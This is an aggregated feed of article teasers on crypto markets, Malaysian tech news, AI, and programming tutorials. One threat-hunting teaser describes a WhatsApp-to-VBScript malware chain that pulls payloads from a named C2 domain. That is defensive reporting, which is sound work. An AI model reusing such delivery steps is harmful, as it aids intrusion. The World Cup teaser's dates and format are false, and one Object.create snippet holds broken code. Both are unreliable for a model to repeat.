Formed in partnership with the Tony Blair Institute and the WEF, the initiative aims to overhaul trade with USDT payments across 55 African nations.  ( 34 min )

Aqua introduces a "shared liquidity layer" that enables capital from a single wallet to back multiple trading strategies simultaneously.  ( 32 min )

A bruising weekend confirmed a broader downtrend across major tokens, with shifting Fed rate-cut expectations and thin liquidity accelerating declines.  ( 34 min )

Your look at what's coming in the week starting Nov. 17.  ( 34 min )

Despite recent price losses, XRP is still up 89% on a 365-day basis.  ( 34 min )

New contracts will be available for trading from Nov. 24.  ( 34 min )

A series of ICIJ reports unearth a litany of crypto-backed criminality including people trafficking operations, drug cartels, Russian criminal gangs and crypto-to-cash storefronts around the world.  ( 33 min )

The decision to route through an illiquid micro-cap stablecoin might go down as one of the year’s most costly errors.  ( 32 min )

Technically, bitcoin’s break below the monthly mid-range at $100,266 cleared a key liquidity shelf, exposing a fast-track slide into thinner regions. Near-term support sits at $93,000 to $95,000.  ( 33 min )

Bitcoin has fallen below a key support level, breaking a bullish pattern.  ( 31 min )

Ever since my article on How to Become a Full Stack Developer and Get a Job in 2025 went viral, I’ve received countless DMs, emails, and even WhatsApp messages from readers. People have been asking about everything from learning to code and mastering...  ( 26 min )

Large language models are smart. But they are not always well-informed. They can write code, summarize books, and explain complex topics, but they struggle with real-time facts. Their knowledge ends at their training cutoff, which means they can’t te...  ( 7 min )

Reanimated 4 brings Cascading Style Sheets (CSS) animations to React Native while keeping full backward compatibility with its worklet-based API. You can now build 60+ frames-per-second (FPS) animations using familiar web syntax, or drop down to work...  ( 17 min )

Backend development involves building the server-side "brain" of a website that manages user data, authentication, and database communication. We just posted a tutorial on the freeCodeCamp.org YouTube channel that will teach you how to construct a ba...  ( 4 min )

Welcome back to The State of AI, a new collaboration between the Financial Times and MIT Technology Review. Every Monday, writers from both publications debate one aspect of the generative AI revolution reshaping global power. In this conversation, Helen Warrell, FT investigations reporter and former defense and security editor, and James O’Donnell, MIT Technology Review’s…  ( 26 min )

This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. What is the chance your plane will be hit by space debris? The risk of flights being hit by space junk is still small, but it’s growing. About three pieces of old space…  ( 21 min )

MIT Technology Review Explains: Let our writers untangle the complex, messy world of technology to help you understand what’s coming next. You can read more from the series here. In mid-October, a mysterious object cracked the windshield of a packed Boeing 737 cruising at 36,000 feet above Utah, forcing the pilots into an emergency landing.…  ( 25 min )

The Kobo Libra Colour has been around for quite some time now, having been launched last year. As one of the fancier offerings on the market, the eReader comes with a few extra features that add more utility without detracting from its main purpose. At least, that’s the general idea anyway. As to how it […] The post Kobo Libra Colour Lightning Review: Not Quite A Jack Of All Trades appeared first on Lowyat.NET.  ( 41 min )

Selangor Menteri Besar Amirudin Shari told the State Legislative Assembly today that the state is expected to begin adopting nuclear energy as a clean power source in five years. In response to a query by Mariam Abdul Rashid (PH-Meru) on Selangor’s plans and timeline for nuclear-based energy, Amirudin said the state is still in the […] The post Selangor Aims Nuclear Energy Adoption Within Next Five Years appeared first on Lowyat.NET.  ( 34 min )

It seems that Apple has no intentions on releasing a new Mac Pro anytime soon. According to a report by Bloomberg’s Mark Gurman, the tech giant has relegated the desktop to the back burner. With a 2026 refresh unlikely to happen, the future of the Mac Pro isn’t looking too good. For those paying attention […] The post Apple Reportedly Shelves Mac Pro Refresh In Favour Of Mac Studio appeared first on Lowyat.NET.  ( 34 min )

Recently, Leapmotor Malaysia announced the debut of a new model for the local market. Today, the automaker confirmed that the model is indeed the B10, as many had expected. The company also revealed that bookings for the SUV will open on 17 November, suggesting that the official launch may be sooner than anticipated. The pre-launch […] The post Leapmotor Malaysia Confirms B10 Debut; Opens Early Bookings appeared first on Lowyat.NET.  ( 34 min )

Malaysia offers some of the lowest mobile internet rates globally, according to Communications Minister Datuk Fahmi Fadzil. He said the country’s cost per gigabyte is among the cheapest worldwide and continues to improve as operators streamline their offerings. Speaking at a reception with the Malaysian diaspora at Rumah Malaysia in Azerbaijan on 16 November, Fahmi […] The post Fahmi: Malaysia Ranks Among World’s Cheapest For Mobile Data appeared first on Lowyat.NET.  ( 34 min )

Porsche revealed a new wireless charging technology at IAA Mobility 2025, which will be featured in the upcoming Cayenne Electric. This technology eliminates the need for a wall-box charger and the manual task of plugging in your vehicle. Recently, the automaker updated the details on the wireless charging, giving a deeper insight into the tech. […] The post Porsche Explains How Its Wireless Charging Plate Works With The Cayenne EV appeared first on Lowyat.NET.  ( 36 min )

Our government is expected to table three amendments during next year’s Parliament sitting, in order to address its multi-lane fast flow (MLFF) toll collection system that has long been in the works. The three laws that are expected to be amended are the Federal Roads Act 1959, the Road Transport Act 1987, and the Malaysian […] The post Government To Amend Three Laws In 2026 For MLFF Rollout appeared first on Lowyat.NET.  ( 34 min )

The POCO F7 series may have only made its debut earlier this year, but its successor is already on the way. The POCO F8 lineup has a confirmed launch date, and it’s pretty soon. The event will take place next week on 26 November 2025 at 4PM in Bali, Indonesia. The F8 series is expected […] The post POCO F8 Series To Launch 26 November 2025 Globally appeared first on Lowyat.NET.  ( 34 min )

Belkin has issued a recall for three of its products due to manufacturing defects. The products in question are an Auto-Tracking Stand Pro charging stand, and two 20,000mAh power banks, the BoostCharge USB-C PD 20K and Playa USB-C PD 20K. “A manufacturing defect may cause the products’ lithium-ion cell components to overheat, which could pose […] The post Belkin Issues Recall For Three Charging Devices Over Manufacturing Defect appeared first on Lowyat.NET.  ( 34 min )

The Dongfeng-Nissan N6 has officially made its debut in China, and is currently available for pre-booking. Serving as the brand’s first plug-in hybrid (PHEV) sedan developed under Dongfeng Nissan’s new energy technology architecture, the N6 shares its technological foundation with the popular all-electric N7 sedan. Not only does the N6 share its platform with the […] The post Nissan N6 PHEV Debuts In China appeared first on Lowyat.NET.  ( 34 min )

DJI has launched a few products in the last couple of weeks, but the long-rumoured Osmo Pocket 4 has yet to make its official appearance. Of course, it has been spotted in the wild before. Leaksters have also been revealing details on the upcoming vlogging camera. This time, a new live image depicting the device […] The post DJI Osmo Pocket 4 Spotted Again; May Launch 18 December appeared first on Lowyat.NET.  ( 34 min )

Apple debuted iOS 17 in 2023 with a feature for sharing contact details called NameDrop. Essentially, it is an extension of AirDrop that lets users send and receive the information by simply bringing their iPhones close together. Now, it seems Google is working on its own take on the feature for Android, which may be […] The post Google Reportedly Developing Its Own Version Of NameDrop For Android appeared first on Lowyat.NET.  ( 34 min )

Malaysia has officially launched the Next Generation Emergency Response Services 999 (NG MERS 999), its upgraded national emergency communication infrastructure developed through a collaboration between Telekom Malaysia Berhad (TM) and the Communications Ministry. The system went live on Sunday (16 November), replacing the long-running MERS 999 platform that TM had also developed and operated. In […] The post NG MERS 999: New Emergency Response Services Launches In Malaysia appeared first on Lowyat.NET.  ( 35 min )

Gabe Newell, better known as both Lord Gaben and the founder of Valve and the owner of Steam, recently made waves, figuratively and literally, after he took ownership of his super yacht. By super, that’s both in price and the sheer size of the damn thing. Gabe’s ship is known as the Leviathan, and was […] The post Valve’s Gabe Newell Takes Delivery Of New US$500 Million Yacht With Submarine Garage, Onboard Clinic appeared first on Lowyat.NET.  ( 35 min )

Apple may be gearing up for its biggest leadership change in more than a decade, as a new report from the Financial Times claims Tim Cook could leave his role as chief executive as soon as next year. Sources told the publication that Apple’s board and senior executives have begun accelerating their succession plans to […] The post Tim Cook Reportedly Preparing To Step Down As Apple CEO Next Year appeared first on Lowyat.NET.  ( 34 min )

AI engineers often chase performance by scaling up LLM parameters and data, but the trend toward smaller, more efficient, and better-focused models has accelerated.  The Phi-4 fine-tuning methodology is the cleanest public example of a training approach that smaller enterprise teams can copy. It shows how a carefully chosen dataset and fine-tuning strategy can make a 14B model compete with much larger ones. The Phi-4 model was trained on just 1.4 million carefully chosen prompt-response pairs. Instead of brute force, the Microsoft Phi-4 research team focused on “teachable” examples at the edge of the model’s abilities and rigorous data curation.  The Phi-4 reasoning smart data playbook demonstrates how strategic data curation with replicable SFT and RL can elevate a 14B model beyond much l…

Despite new methods emerging, enterprises continue to turn to autonomous coding agents and code generation platforms. The competition to keep developers working on their platforms, coming from tech companies, has also heated up. AWS thinks its offering, Kiro, and new capabilities to ensure behavioral adherence set up a large differentiator in the increasingly crowded coding agent space.  Kiro, first launched in July on public preview, is now generally available with new features, including property-based testing for behavior and a command-line interface (CLI) capability to tailor custom agents. Deepak Singh, AWS vice president for databases and AI, told VentureBeat in an interview that Kiro “keeps the fun” of coding while providing it structure. “The way I like to say it is, what Kiro does…

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After more than 20 years of building for the web, this topic somehow kept slipping past me. It always felt obvious, so I never looked deeper. Recently I finally took the time to explore it properly, did some quick research, and now I’m sharing the results. Here’s a simple walkthrough of the different content types you can send in POST requests. When you submit a basic HTML form like , for example a login form, the browser sends the data using the application/x-www-form-urlencoded content type. The body of the request looks like a URL-encoded query string, the same format typically used in GET requests. Example: username=john_doe&password=pass123. A POST request with this content type using the fetch API looks like this: async function sendURLEncoded() {…  ( 11 min )

Kubernetes StatefulSets are the go-to solution for managing stateful applications that require stable identities, persistent storage, and ordered deployment patterns—essential for databases, distributed systems, and caching layers. If you're new to Kubernetes or setting up a cluster, consider exploring Kubernetes distributions like k3s or MicroK8s for development, or installing Kubernetes with Kubespray for production-grade clusters. This nice image on the cover is generated by AI model Flux 1 dev. StatefulSets are a Kubernetes workload API object designed specifically for managing stateful applications. Unlike Deployments that treat all pods as interchangeable, StatefulSets maintain a unique identity for each pod with guarantees about ordering and uniqueness. Key Features: Stable Network …  ( 11 min )

Clean Architecture has revolutionized how developers build scalable, maintainable applications by emphasizing separation of concerns and dependency management. In Python, these principles combine with the language's dynamic nature to create flexible, testable systems that evolve with business requirements without becoming technical debt. Clean Architecture, introduced by Robert C. Martin (Uncle Bob), organizes software into concentric layers where dependencies point inward toward core business logic. This architectural pattern ensures that your application's critical business rules remain independent of frameworks, databases, and external services. The fundamental principle is simple yet powerful: business logic should not depend on infrastructure. Your domain entities, use cases, and busi…  ( 15 min )

Go's built-in testing package Go's philosophy emphasizes simplicity and reliability. The standard library includes the testing package, making unit testing a first-class citizen in the Go ecosystem. Well-tested Go code improves maintainability, catches bugs early, and provides documentation through examples. If you're new to Go, check out our Go Cheat Sheet for a quick reference of the language fundamentals. Key benefits of Go testing: Built-in support: No external frameworks required Fast execution: Concurrent test execution by default Simple syntax: Minimal boilerplate code Rich tooling: Coverage reports, benchmarks, and profiling CI/CD friendly: Easy integration with automated pipelines Go tests live alongside your production code with a clear naming convention: myproject/ ├── go.mod ├─…  ( 11 min )

Linux has become the de facto operating system for data science Whether you're analyzing datasets with Pandas, running machine learning experiments in Jupyter, or deploying models to production, Linux provides the ideal foundation for your data science workflow. Linux isn't just popular in data science by coincidence—it's engineered for the demands of modern data workflows. The operating system's architecture provides direct hardware access, efficient memory management, and native support for parallel processing that's crucial when handling large datasets. Performance advantages are immediately noticeable when processing multi-gigabyte CSV files or training neural networks. Linux's superior memory management means your Pandas DataFrames can grow larger before hitting swap, and the kernel's…  ( 11 min )

Helm has revolutionized Kubernetes application deployment by introducing package management concepts familiar from traditional operating systems. As Kubernetes adoption grows, managing complex applications with dozens of YAML files becomes challenging. Helm Charts solve this problem by bundling all resources into versioned, configurable packages. This nice image on the cover is generated by AI model Flux 1 dev. Helm is to Kubernetes what apt is to Debian, yum to RedHat, or Homebrew to macOS. It packages Kubernetes applications into Charts – collections of files that describe related Kubernetes resources. A single Chart might deploy a complete application stack: web servers, databases, caching layers, ingress rules, and monitoring components. For those new to Kubernetes, a Kubernetes Cheats…  ( 14 min )

The Introduction Our cloud documentation is almost always out of date. It's not because we're lazy; it's because the cloud moves too fast. A diagram drawn in a sprint planning meeting is obsolete by the time the code hits production. This documentation crisis, that every engineering team faces, is a massive and invisible tax. Nobody talks about it, but we know that manual updates are expensive, error-prone, and always outdated when you need them most. The "cost" isn't just the 2-3 days of senior engineer time every quarter—it's the production incidents that could have been prevented, the security vulnerabilities you didn't know existed, and the new hires who take weeks to understand the system. I was tired of this cycle. So I built a solution that uses AI agents to automatically scan li…  ( 10 min )

Introduction In the previous article, we learned about LLVM passes and wrote our first analysis pass, which counted the number of add instructions inside a module. In this new post, I will explore more of LLVM by implementing transformation passes that make use of several LLVM APIs. This will expose us to different ways of processing the IR and highlight the facilities LLVM provides to its users. The good news is that this article does not require much theory so we will dive directly into the code. Note that I will not be showing all of the pass code (specifically, the registration boilerplate), but I will provide a Gist link for the sake of completeness. Dead Code Elimination (DCE) is one of the first optimizations a compiler applies to remove unused results and regions of code that are…  ( 12 min )

With the evolution of modern JavaScript, many of the roles once handled by jQuery can now be replaced with standard APIs. This article focuses on the highly demanded selectors and provides a comprehensive guide on how to migrate jQuery syntax to native JavaScript. $('*') Selects all elements. $('*') document.querySelectorAll('*') https://codepen.io/rundezv/pen/VYeoZjK $(':root') Selects the root element of the document. $(':root') document.querySelector(':root') https://codepen.io/rundezv/pen/ByKQWYj $('div') Selects all elements that match the specified tag name. $('div') document.querySelectorAll('div') https://codepen.io/rundezv/pen/gbrYrXW DIV1 DIV2 SPAN $('div') // => // [ // DIV1 , // DIV2</d…  ( 20 min )

Overview This is a production-grade, full-stack application designed to monitor product availability on an e-commerce website. The system automatically tracks inventory changes, sends Discord notifications for new products and restocks, and provides a comprehensive admin dashboard for monitoring configuration. This technical deep-dive explores the architecture, design decisions, and implementation strategies behind building a scalable monitoring system capable of handling thousands of products with real-time notifications. The application follows a modern hybrid architecture combining TypeScript and Go microservices: ┌─────────────────┐ ┌─────────────────┐ ┌──────────────────┐ │ React 19 │─────▶│ Fastify │─────▶│ PostgreSQL 16 │ │ Frontend │◀─────│ Ba…  ( 15 min )

I didn’t expect a tiny Chrome extension to change how I work… but Noty did exactly that. If your browser looks like this: 20+ tabs open Bookmarks you never check Docs you lose daily Notes scattered everywhere Same. But here's what fixed it. 👇 Noty lets you: Save any page with Alt + S Take quick notes right inside your browser Tag + organize everything Search your saved stuff instantly Keep research, tutorials, docs, and ideas in one place It feels like bookmarks, notes, and a mini knowledge base—combined. I use it to: Save GitHub repos Keep track of tutorials Store StackOverflow answers Keep notes per project Capture tools I want to try later All without breaking my flow. No account. No setup. Just install → save → done. 👉 Add Noty to Chrome (Free) you save the most? Docs? Tutorials? Repos? Drop it in the comments — I want to see how others use Noty! If this helped you, hit ❤️ so more devs can find it!  ( 6 min )

Hey everyone! I’ve been working on NanoGPTForge, a modified version of Andrej Karpathy's nanoGPT that emphasizes simplicity, clean code, and type safety, while building directly on PyTorch primitives. It’s designed to be plug-and-play, so you can start experimenting quickly with minimal setup and focus on training or testing models right away. Contributions of any kind are welcome, whether it is refactoring code, adding new features, or expanding examples. I’d be glad to connect with others interested in collaborating! Check it out here: https://github.com/SergiuDeveloper/NanoGPTForge  ( 6 min )

Timothy stared at his screen in frustration. His script had crashed halfway through processing a batch of log files, and now he couldn't open any of them. "Margaret, I keep getting 'too many open files' errors. But I'm closing them! Look - I have file.close() right here." Margaret walked over and examined his code: def process_logs(filenames): for filename in filenames: file = open(filename, 'r') data = file.read() if 'ERROR' in data: analyze_errors(data) return # Found errors, exit early file.close() "I see the problem," Margaret said gently. "When you return early, that close() never executes. The file stays open." Timothy's eyes widened. "Oh no. So if I find an error in the first file, all the other files stay open?" "Exactly…  ( 9 min )

‘Snake Eyes’ Deep Dive with Bill Simmons, Sean Fennessey & Van Lathan Bill Simmons, Sean Fennessey, and Van Lathan plunge into Brian De Palma’s ‘Snake Eyes’—breaking down Nic Cage’s high-voltage turn, Gary Sinise’s cop intrigue, and Carla Gugino’s standout moments. They unpack the film’s twisted plot, cinematic flair, and cult-classic status in true Ringer Movies fashion. This episode is powered by PayPal—score 5% cash back when you Pay in 4 through 12/31. Don’t miss this sewer-level exploration of one of De Palma’s wildest thrillers! Watch on YouTube  ( 6 min )

While hunting for malicious PowerShell techniques, we identified anomalous behavior indicative of staged payload execution. Initial Access & Delivery Chain Summary Threat actors leveraged WhatsApp as the initial access channel, sending messages to multiple employees within the organization to build trust before sharing a malicious ZIP file. Since ZIP files cannot be opened on mobile devices, users were compelled to access the archive on their endpoints, where they were deceived into executing an embedded VBScript payload. Execution of the VBScript initiated a multi-stage payload delivery mechanism, where it: Downloaded a secondary VBScript and an MSI installer from a remote C2 server (varegjopeaks[.]com) and saved them to the temporary directory. Executed the MSI file silently via msiexec…  ( 7 min )

I'm publishing content generated by ChatGPT to my website: https://damien.house/practice/ It summarizes work I did between 2006 and 2012 to create a research and development practice for software development. I began by asking Gemini how to approach my prompt strategy: What are some good ways to customize the "Configure Chat" dialog box in NotebookLLM ? I've set "Define your conversational goal, style, or role" to Custom, so I can customize the chat. I want to tell it to use "warm and collaborative tone", that it's role in our chat is that of an executive coach for leaders in the software engineering field, that I'm a leader in software engineering, and that the role they fill is that of a coach, advisor, and assistant to me. it would be nice to use the same settings across NotebookLLM, ChatGPT, and Claude as they all have this feature. https://gemini.google.com/share/df2f63e07d9d I had a similar plan in mind in using NotebookLLM as more of a document generator (it produced the briefing doc and strategic plan that I later added to ChatGPT). I found an issue though in using this plan in Claude. The dialog didn't include any mention of the roles I had created. I didn't spend much time debugging or tweaking so I didn't have time to make it work. I left it out of my process in the end. I focused on using ChatGPT for this chat. Link to source material for reference: https://drive.google.com/drive/folders/1ObYcWf_DZanV68_ts2WR27MQX81LhQTt?usp=sharing  ( 6 min )

The task is to implement Object.create() The boilerplate code function myObjectCreate(proto) { // your code here } If the prototype is null or not an object, throw an error if(proto === null || typeof !== "object") { throw new TypeError("Prototype must be an object or null") } An empty constructor function is declared, because every object in Javascript is created using a constructor. function F() {} The prototype of the empty constructor is set to the one provided F.prototype = proto Then, a new instance is returned return new F() The final code function myObjectCreate(proto) { // your code here if(proto === null || typeof proto !== "object") { throw new TypeError("Prototype must be object or null") } function F() {} F.prototype = proto; return new F; } That's all folks!  ( 6 min )

Check out this Pen I made!  ( 5 min )

Check out this Pen I made!  ( 5 min )

As we inch closer to the highly anticipated FIFA World Cup 2026, football enthusiasts worldwide are eager to know more about the tournament's schedule. Following the news that highlighted key dates for UEFA qualifiers, let's dive into the intricacies of what to expect from the world's most prestigious international football event. The World Cup is set to take place in the United States, Canada, and Mexico from November 2025 through December 2025. The tournament will feature a revamped format with 48 teams competing for the coveted title. The initial stage consists of eight groups of six teams each, making it an exciting and unpredictable start to the competition. Qualifiers: March to June 2024 - UEFA, CONMEBOL, CAF, AFC, and CONCACAF will conclude their qualifying matches. Draw: April 2025…  ( 7 min )

Movie posters have long been more than mere marketing tools; they are visual snapshots of the cultural and societal moods of their times. From the roaring 1920s to the digital age of the 21st century, the design, themes, and imagery of movie posters have mirrored the changing tastes, concerns, and aspirations of society. Collectors and enthusiasts who cherish framed vintage movie posters often recognize that each piece tells a story not only about the film it advertises but also about the era in which it was created. The earliest movie posters emerged alongside the rise of cinema as a popular entertainment medium in the 1920s. During this period, posters were often hand-painted, featuring dramatic illustrations and bold typography. They emphasized spectacle and star power, reflecting socie…  ( 10 min )

🧩 What happens when your cluster runs out of CPU? — The unsolved DevOps paradox The cluster scales pods up and down automatically — until one day, the cluster itself runs out of capacity. 😅 That’s when I started wondering: 💭 If the cluster’s total CPU resources hit the ceiling — what’s really the right move? Should we just offload the pain to a managed cloud provider like AWS EKS or GKE and “dust our hands off”? And at large scale, this becomes a real DevOps riddle — one that teams still debate every day. 🧠 The Thought Behind It When CPU usage spikes across all nodes: Pods start pending 💤 Rely on cloud-managed autoscaling (e.g. GKE, EKS, AKS)? It’s where operations meets mathematics: balancing resources, latency, and cost in an infinite scaling loop. So what do you think? If you hit 100% CPU cluster-wide — what’s your next move?  ( 7 min )

Hey everyone! 👋 I’m excited to share ZipperOS, a modern Linux distribution I’ve been developing. It’s built to evolve based on user feedback — the community helps decide what features get added next. What’s available now: Download the latest ISO and try ZipperOS today: Archive.org ISO Explore the ZipperOS Fandom page zipperos.bettermode.io Full documentation and guides on the official site Why ZipperOS? I’d love feedback, ideas, and thoughts on what people want from a Linux OS! — Wolfie  ( 6 min )

It was 2 AM on a Tuesday, and I was convinced our production database was haunted. Users were reporting that their shopping carts would randomly empty—not all the time, just sometimes. The logs showed nothing. The code looked fine. I'd been staring at the same function for three hours, adding print statements like breadcrumbs, trying to find where the data disappeared. My coffee had gone cold. My eyes burned. And then, in a moment of desperate frustration, I did something I should have done hours earlier: I actually read the error message. Not skimmed it. Not assumed I knew what it meant. Actually read it, word by word. "Race condition in concurrent write operation." Five words that changed everything. The bug wasn't in the code I was looking at—it was in how two pieces of code were talking to each other when users clicked too fast. The solution took ten minutes to implement. The lesson took all night to learn: sometimes the answer isn't hidden in complexity; it's sitting right there in plain text, waiting for you to stop assuming and start listening.  ( 6 min )

Timothy was studying a function that traversed a nested directory structure, and his forehead was creased with confusion. "Margaret, I'm trying to understand this code. It has yield from in it, and I can't figure out what it's doing differently than just yield." Margaret looked over his shoulder at the screen. "Ah, generator delegation. This is one of Python's more elegant features, but it's subtle. Let me show you why it exists and what the structure reveals." Timothy's code was attempting to flatten a nested list structure: def flatten(items): result = [] for item in items: if isinstance(item, list): for sub_item in flatten(item): result.append(sub_item) else: result.append(item) return result "This works," Timothy said…  ( 8 min )

Analog.js 2.0 brings Angular even closer to the Vite ecosystem. And we also get debouncing in Signal Forms and fresh testing guidance from Andrew Scott. ⚙️ Analog.js 2.0 Analog.js was created by Brandon Roberts as a meta-framework for Angular and was released in version 2.0. A meta-framework extends a frontend framework with backend capabilities, like running data-fetching and processing on the server. Apart from being a meta-framework, what really makes Analog stand out is its integration of Angular into Vite. React, Vue, Svelte and many others have a Vite build plugin, which means Vite actually builds the application. Angular does not integrate into Vite as a plugin. It has its own build system. Angular’s build system uses the Vite dev server and - like Vite - esbui…  ( 8 min )

🚀 Understanding Hermes, Fabric, and the New Architecture in React Native If you've been building React Native apps for a while, chances are you've heard terms like Hermes, TurboModules, and Fabric floating around. When I recently upgraded from an older React Native project to v0.80.2, I realized these weren't just buzzwords—they're a fundamental shift in how React Native works under the hood. This guide will demystify these technologies and show you why they matter for your next React Native project. The Evolution of React Native Hermes: The JavaScript Engine Built for Mobile The New Architecture: Beyond the Bridge TurboModules: Native Modules, Supercharged Fabric: Modern UI for Modern React Migration Guide Performance Comparisons Conclusion Before diving into the new technologies, let'…  ( 9 min )

The data analytics lifecycle is a series of steps to transform raw data into valuable and easily consumable data products. These can range from well-managed datasets to dashboards, reports, APIs, or even web applications. In other words, it describes how data is created, collected, processed, used, and analyzed to achieve a specific product or business goal. The increasing complexity in organizational dynamics directly impacts how data is handled. Numerous people must use the same data but with different goals. While a top executive might need to know just a few top-level key performance indicators to track business performance, a middle manager might need a more granular report to support daily decisions. This highlights the need for a governed and standardized approach to creating and ma…  ( 8 min )

Linux for DevOps — Part 1 https://www.linkedin.com/in/ashish360/ https://devopswithashish.hashnode.dev/linux-for-devops-the-complete-hands-on-beginner-to-advanced-guide-week-1-series Introduction + Filesystem & Directory Commands 🚀Why Linux Matters in DevOps The more I explored Linux this week, the clearer it became why every DevOps engineer, cloud engineer, SRE, and backend developer depends on Linux daily. Linux is the foundation of DevOps, because it is: 🟦 Cost-Effective Free and open-source No licensing fees Low maintenance and predictable performance 🟦 High Performance Lightweight and fast Works on everything from Raspberry Pi to enterprise servers Efficient memory and process management 🟦 Secure & Reliable Strong permission system Very limited malware exposure Systems can run for…  ( 29 min )

Speedtest.net vs Fast.com in real life Your speed test says 400 Mbps. YouTube still buffers. Nothing feels more cursed than that. That happened on my home fiber line. Speedtest.net proudly showed more than 418 Mbps down, but YouTube sessions still dropped quality or paused to buffer. The numbers looked great, the experience did not. The trick is simple: speed tests often measure the best case, while streaming exposes the real case. Speedtest.net is built to show what your connection can do when everything is aligned in its favor. It talks to dedicated, well peered servers and opens several parallel TCP connections to push your link as hard as possible. The result is a nice high number that represents peak capacity, not necessarily what you get for every service. Fast.com, from Netf…  ( 9 min )

Table of content What is N+1 query The N+1 query problem is a database anti-performance pattern, where an application executes one query to fetch a list of items (N items in 1 query) and then makes N additional individual queries to fetch related data for each item in that list(N number of queries). So, in total you are making 101 queries, 1 query to get the list and 100 query to get names of authors. This results in N+1 queries for what should ideally be a single efficient or a few queries. Imagine you go to a library and you ask the librarian to give you a list 100 books of your favorite genre. The librarian gives you the list of 100 books(this is 1 query). Now you have your list, but you don't know author's name of those 100 books. To know the name of those authors you again go to the…  ( 7 min )

Building RSSRenaissance: AI-Powered Summaries for Smarter Reading When I set out to build RSSRenaissance, my goal was simple: create a tool that helps users stay informed without drowning in endless articles. With the sheer volume of tech, news, and educational content available online, I wanted a solution that could fetch feeds, summarize content, and deliver actionable insights instantly. Inspiration I was inspired by the challenge of managing information efficiently. As a developer and someone who constantly explores new tech trends, I realized that even curated feeds can be overwhelming. I wanted a platform that doesn’t just deliver content but distills it intelligently. What RSSRenaissance Does Fetches RSS feeds from multiple sources like TechCrunch, The Verge, and Ars Technica. Proce…  ( 7 min )

As developers, we all jump between multiple small tools daily—JSON formatter, CSS gradient generator, cron builder, QR generator, image compressor, boilerplate generator, and so on. But the experience is always the same: Too many ads I got tired of it. So I built Jaconir - a free, fast, no-login productivity hub with 20+ tools for developers, designers, and students. 👉 https://jaconir.online/tools This post explains how I built it, what tools it includes, and why I created it. 🎯 Why I Built Jaconir I’m a developer + designer + indie game creator. I didn’t want: ads I just wanted simple tools that work instantly. So I built them myself. 🛠️ Tools I Built (So Far) JSON Formatter Full list: https://jaconir.online/tools All tools are: fast 📘 Learning: DSA + System Design I also built free learning hubs for students: 🚀 DSA Learning Hub https://jaconir.online/learn/dsa 🔥 System Design (Work in Progress) https://jaconir.online/learn/system-design Each page has: simple explanations 🎨 Resources for Designers & Devs Jaconir also includes: 👉 https://jaconir.online/resources Everything is free to download and use. ⚙️ Tech Stack HTML, CSS, JavaScript 🚀 What I’m Building Next Here’s what I’m adding next: Regex builder ❤️ Why I’m Sharing This The internet is filled with heavy tools, ads, and login walls. If you want to try the tools, here you go: 👉 https://jaconir.online/tools If you have suggestions, I’d love to hear them 🙏  ( 7 min )

‘Snake Eyes’ Rewatch Bill Simmons, Sean Fennessey, and Van Lathan dive headfirst into Brian De Palma’s neon-soaked conspiracy thriller, unpacking the film’s iconic one-take shots, Nic Cage’s smoldering intensity, and the shadowy corruption at the heart of this late-’90s gem. Podcast Lowdown Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is brought to you by PayPal’s holiday deal (5% cash back when you Pay in 4 through 12/31). Don’t forget to subscribe to The Ringer’s YouTube channels and follow on Twitter, Facebook, and Instagram for more movie madness. Watch on YouTube  ( 6 min )

Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less CinemaSins takes on the latest dino-resurrection in a bite-sized 17-minute roast, pointing out all the plot sins of Jurassic World Rebirth. Alongside the video, they’re hyping up their main site (cinemasins.com) and various YouTube channels—TV Sins, Commercial Sins and the CinemaSins Podcast Network. They’re also pushing a Linktree for fresh updates, a quick sinful poll, and a Patreon for backers. You can connect with the writers on Twitter and Instagram, join the Discord or Reddit communities, and catch extra content on TikTok and Jeremy’s new book. Watch on YouTube  ( 6 min )

Check out this Pen I made!  ( 5 min )

Install Bulma and React in 30 Seconds Alex Smith ・ Nov 16 #react #bulma #vite #cli  ( 6 min )

The world of software engineering is evolving faster than ever. New tools, smarter automation, rapid AI growth, and changing workplace expectations mean developers must constantly adapt. As we step into 2025, employers are searching for engineers who not only write efficient code but also understand systems, collaborate effectively, and stay ahead of the curve. Here are five essential skills every software engineer needs in 2025 — whether you’re a beginner or an experienced developer. Mastery of AI-Driven Development Artificial intelligence is no longer optional. Tools like code assistants, AI testing frameworks, and automated documentation generators have become part of daily development. Why it matters Helps catch errors earlier Enhances decision-making with predictive insights What you …  ( 7 min )

This is a submission for the Google AI Agents Writing Challenge: Learning Reflections I already knew about the possibility of using multiple AI agents to design complex workflows: my company is building one right now — and I’m partially involved in the development process. But I had never tried Google’s Agent Development Kit (ADK) before. Here’s what my 5-days journey with Kaggle was like. I have no doubt that the most interesting part of the course was the white papers. Despite only lasting five days, they will give me the opportunity to delve deeper into all the topics covered in the coming weeks or even months. References may require even more. Will I have time to read them all? The Kaggle Notebooks, which I already knew, were an excellent laboratory for putting into practice what I had…  ( 9 min )

Your AWS or GCP root account has unlimited access: billing changes, account closure, unrestricted resource modification. A compromised root account doesn't just mean a data breach—it means potential business extinction. Yet the question of how to secure it with multi-factor authentication remains surprisingly contentious: physical YubiKeys or virtual authenticator apps? This decision matters more than most security choices because root accounts sit outside normal guardrails. You can't delegate root account access to IAM roles, you can't easily test disaster recovery, and mistakes are catastrophic. The traditional security playbook says "use hardware MFA"—but that advice predates the reality of distributed teams, remote-first companies, and the operational complexity of managing physical de…  ( 10 min )

A post by Mcdonald Musimwa  ( 6 min )

Insurance brokers increasingly find themselves navigating a landscape where clients expect faster insights, clearer explanations, and deeper transparency into how property risks affect coverage outcomes. Yet even the most experienced brokers face challenges translating technical details into actionable guidance—especially as buildings grow more complex, climate pressures intensify, and carriers demand more documentation to justify underwriting decisions. The key to stronger communication lies not only in understanding building conditions, but in presenting them in a way that helps clients make informed decisions without feeling overwhelmed by engineering terminology or risk scoring models. Clients rarely struggle because they lack interest in their property’s condition. More often, they st…  ( 7 min )

